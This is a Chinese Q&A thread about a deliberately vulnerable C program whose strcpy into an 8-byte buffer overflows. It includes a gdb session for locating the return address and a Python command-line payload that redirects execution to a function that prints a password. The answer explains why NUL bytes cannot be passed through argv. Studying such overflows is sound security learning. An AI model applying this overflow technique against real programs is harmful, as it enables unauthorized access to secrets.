如何将参数中的零传递给程序

如何将参数中的零传递给程序

我有这个C语言程序。

#include <stdio.h>
#include <string.h>

char * pwd = "pwd0";

void print_my_pwd() {
  printf("your pwd is: %s\n", pwd);
}

int check_pwd(char * uname, char * upwd) {
  char name[8];
  strcpy(name, uname);

  if (strcmp(pwd, upwd)) {
    printf("non authorized\n");
    return 1;
  }
  printf("authorized\n");
  return 0;
}

int main(int argc, char ** argv) {
  check_pwd(argv[1], argv[2]);
  return 0;
}

我构建它并检查它是否有缓冲区溢出。

$ make
gcc -O0 -ggdb -o main main.c -fno-stack-protector
$ gdb main
GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main...done.
(gdb) b check_pwd
Breakpoint 1 at 0x76c: file main.c, line 12.
(gdb) run joe f00b4r42
Starting program: /home/developer/main joe f00b4r42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12
12    strcpy(name, uname);
(gdb) info frame
Stack level 0, frame at 0x7fffffffd6d0:
 rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef
 called by frame at 0x7fffffffd6f0
 source language c.
 Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"
 Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0
 Saved registers:
  rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8
(gdb) p &name
$1 = (char (*)[8]) 0x7fffffffd6b8
(gdb) p &print_my_pwd
$2 = (void (*)()) 0x55555555473a <print_my_pwd>
(gdb) Quit
A debugging session is active.

    Inferior 1 [process 21935] will be killed.

Quit anyway? (y or n) y
$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
non authorized
your pwd is: pwd0
Segmentation fault (core dumped)
$ 

所以有可能从程序中泄露秘密,但是如果地址是而不是我该怎么0x55555555003a0x55555555473a?然后我不知道如何传递零,因为它会被表示为空字节,并且 shell 不会解释它。

答案1

所以你的程序会执行以下操作。该check_pwd函数在堆栈上分配了一个溢出的缓冲区,因此返回地址被损坏。您尝试选择此损坏,以便它指向另一个函数,print_my_pwd:GUUUU字符串如果在小端机器上解释为 64 位值,则为 0x??0055555555473A,前 8 位未定义。如果 8 位为零,那么您就得到了 的地址print_my_pwd。这 16 个A字符用于填充 8 字节name数组,然后覆盖存储的帧指针。

所以你的问题是“如果我需要一个 0 字节作为返回地址的一部分,我如何在命令行上指定它?”,答案是“没关系,因为你正在使用 strcpy 来执行溢出并且将在 NUL 字节处停止,因此攻击将失败。”

一般来说,您的问题的答案是内核的接口基于 C 字符串,因此即使您的程序使用 memcpy 而不是 strcpy,您仍然无法执行您想要的操作。

真正的缓冲区溢出攻击会跳转到自己的代码,这些代码经常构造要存储在内存中的值,并且不需要担心 NUL 字符。

相关内容